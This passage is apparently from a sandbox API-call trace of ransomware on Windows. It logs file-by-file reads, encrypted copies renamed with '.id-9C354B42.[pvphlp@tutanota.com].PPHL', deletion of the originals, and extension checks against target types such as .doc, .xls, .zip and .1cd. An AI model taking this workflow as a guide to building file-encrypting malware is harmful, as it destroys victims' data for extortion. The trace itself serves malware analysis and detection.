dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.382] SetEndOfFile (hFile=0x1f8) returned 1 [0076.383] CloseHandle (hObject=0x1f8) returned 1 [0076.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.383] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0076.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0076.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0076.383] lstrlenW (lpString=".doc") returned 4 [0076.383] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.383] lstrlenW (lpString=".docx") returned 5 [0076.383] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.383] lstrlenW (lpString=".pdf") returned 4 [0076.383] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.383] lstrlenW (lpString=".xls") returned 4 [0076.383] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.383] lstrlenW (lpString=".xlsx") returned 5 [0076.383] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.383] lstrlenW (lpString=".ppt") returned 4 [0076.383] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0076.383] lstrlenW (lpString=".zip") returned 4 [0076.384] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.384] lstrlenW (lpString=".rar") returned 4 [0076.384] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.384] lstrlenW (lpString=".bz2") returned 4 [0076.384] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.384] lstrlenW (lpString=".7z") returned 3 [0076.384] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0076.384] lstrlenW (lpString=".dbf") returned 4 [0076.384] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0076.384] lstrlenW (lpString=".1cd") returned 4 [0076.384] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0076.384] lstrlenW (lpString=".jpg") returned 4 [0076.384] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0076.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0076.384] lstrlenW (lpString=".doc") returned 4 [0076.384] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.384] lstrlenW (lpString=".docx") returned 5 [0076.384] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.384] lstrlenW (lpString=".pdf") returned 4 [0076.384] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.384] lstrlenW (lpString=".xls") returned 4 [0076.384] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.384] lstrlenW (lpString=".xlsx") returned 5 [0076.384] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.384] lstrlenW (lpString=".ppt") returned 4 [0076.384] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0076.384] lstrlenW (lpString=".zip") returned 4 [0076.384] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.385] lstrlenW (lpString=".rar") returned 4 [0076.385] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.385] lstrlenW (lpString=".bz2") returned 4 [0076.385] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.385] lstrlenW (lpString=".7z") returned 3 [0076.385] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0076.385] lstrlenW (lpString=".dbf") returned 4 [0076.385] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0076.385] lstrlenW (lpString=".1cd") returned 4 [0076.385] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0076.385] lstrlenW (lpString=".jpg") returned 4 [0076.385] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.385] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0076.385] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0076.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0076.385] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=33009) returned 1 [0076.385] CloseHandle (hObject=0x1f8) returned 1 [0076.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0076.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0076.386] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.386] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0076.386] GetLastError () returned 0x0 [0076.386] ReadFile (in: hFile=0x1f8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x80f1, lpOverlapped=0x0) returned 1 [0076.572] WriteFile (in: hFile=0x18c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x8100, lpOverlapped=0x0) returned 1 [0076.574] ReadFile (in: hFile=0x1f8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.574] WriteFile (in: hFile=0x18c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.574] SetEndOfFile (hFile=0x18c) returned 1 [0076.575] CloseHandle (hObject=0x18c) returned 1 [0076.575] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.575] SetEndOfFile (hFile=0x1f8) returned 1 [0076.576] CloseHandle (hObject=0x1f8) returned 1 [0076.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.577] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0076.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0076.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0076.577] lstrlenW (lpString=".doc") returned 4 [0076.577] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.577] lstrlenW (lpString=".docx") returned 5 [0076.577] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.577] lstrlenW (lpString=".pdf") returned 4 [0076.577] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.577] lstrlenW (lpString=".xls") returned 4 [0076.578] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.578] lstrlenW (lpString=".xlsx") returned 5 [0076.578] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.578] lstrlenW (lpString=".ppt") returned 4 [0076.578] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0076.578] lstrlenW (lpString=".zip") returned 4 [0076.578] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.578] lstrlenW (lpString=".rar") returned 4 [0076.578] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.578] lstrlenW (lpString=".bz2") returned 4 [0076.578] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.578] lstrlenW (lpString=".7z") returned 3 [0076.578] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0076.578] lstrlenW (lpString=".dbf") returned 4 [0076.578] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0076.578] lstrlenW (lpString=".1cd") returned 4 [0076.578] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0076.578] lstrlenW (lpString=".jpg") returned 4 [0076.578] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0076.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0076.578] lstrlenW (lpString=".doc") returned 4 [0076.579] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.579] lstrlenW (lpString=".docx") returned 5 [0076.579] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.579] lstrlenW (lpString=".pdf") returned 4 [0076.579] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.579] lstrlenW (lpString=".xls") returned 4 [0076.579] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.579] lstrlenW (lpString=".xlsx") returned 5 [0076.579] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.579] lstrlenW (lpString=".ppt") returned 4 [0076.579] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0076.579] lstrlenW (lpString=".zip") returned 4 [0076.579] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.579] lstrlenW (lpString=".rar") returned 4 [0076.579] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.579] lstrlenW (lpString=".bz2") returned 4 [0076.579] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.579] lstrlenW (lpString=".7z") returned 3 [0076.579] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0076.579] lstrlenW (lpString=".dbf") returned 4 [0076.579] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0076.579] lstrlenW (lpString=".1cd") returned 4 [0076.579] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0076.580] lstrlenW (lpString=".jpg") returned 4 [0076.580] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.580] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0076.580] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0076.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0076.910] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=29925) returned 1 [0076.910] CloseHandle (hObject=0x208) returned 1 [0076.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0076.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0076.911] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.911] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0076.911] GetLastError () returned 0x0 [0076.911] ReadFile (in: hFile=0x208, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x74e5, lpOverlapped=0x0) returned 1 [0076.916] WriteFile (in: hFile=0x200, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x74f0, lpOverlapped=0x0) returned 1 [0076.918] ReadFile (in: hFile=0x208, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.918] WriteFile (in: hFile=0x200, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.918] SetEndOfFile (hFile=0x200) returned 1 [0076.918] CloseHandle (hObject=0x200) returned 1 [0076.919] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.919] SetEndOfFile (hFile=0x208) returned 1 [0076.920] CloseHandle (hObject=0x208) returned 1 [0076.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.920] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0076.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0076.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0076.921] lstrlenW (lpString=".doc") returned 4 [0076.921] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.921] lstrlenW (lpString=".docx") returned 5 [0076.921] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.921] lstrlenW (lpString=".pdf") returned 4 [0076.921] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.921] lstrlenW (lpString=".xls") returned 4 [0076.921] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.921] lstrlenW (lpString=".xlsx") returned 5 [0076.921] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.921] lstrlenW (lpString=".ppt") returned 4 [0076.921] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0076.921] lstrlenW (lpString=".zip") returned 4 [0076.921] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.921] lstrlenW (lpString=".rar") returned 4 [0076.921] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.921] lstrlenW (lpString=".bz2") returned 4 [0076.921] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.921] lstrlenW (lpString=".7z") returned 3 [0076.921] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0076.921] lstrlenW (lpString=".dbf") returned 4 [0076.921] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0076.922] lstrlenW (lpString=".1cd") returned 4 [0076.922] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0076.922] lstrlenW (lpString=".jpg") returned 4 [0076.922] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0076.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0076.922] lstrlenW (lpString=".doc") returned 4 [0076.922] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.922] lstrlenW (lpString=".docx") returned 5 [0076.922] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.922] lstrlenW (lpString=".pdf") returned 4 [0076.922] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.922] lstrlenW (lpString=".xls") returned 4 [0076.922] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.922] lstrlenW (lpString=".xlsx") returned 5 [0076.922] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.922] lstrlenW (lpString=".ppt") returned 4 [0076.922] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0076.922] lstrlenW (lpString=".zip") returned 4 [0076.922] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.922] lstrlenW (lpString=".rar") returned 4 [0076.922] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.922] lstrlenW (lpString=".bz2") returned 4 [0076.922] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.923] lstrlenW (lpString=".7z") returned 3 [0076.923] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0076.923] lstrlenW (lpString=".dbf") returned 4 [0076.923] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0076.923] lstrlenW (lpString=".1cd") returned 4 [0076.923] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0076.923] lstrlenW (lpString=".jpg") returned 4 [0076.923] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.923] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0076.923] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0076.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0076.924] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1293) returned 1 [0076.924] CloseHandle (hObject=0x208) returned 1 [0076.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0076.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0076.924] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.924] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0076.933] GetLastError () returned 0x0 [0076.933] ReadFile (in: hFile=0x208, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x50d, lpOverlapped=0x0) returned 1 [0076.937] WriteFile (in: hFile=0x200, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x510, lpOverlapped=0x0) returned 1 [0076.939] ReadFile (in: hFile=0x208, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.939] WriteFile (in: hFile=0x200, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: 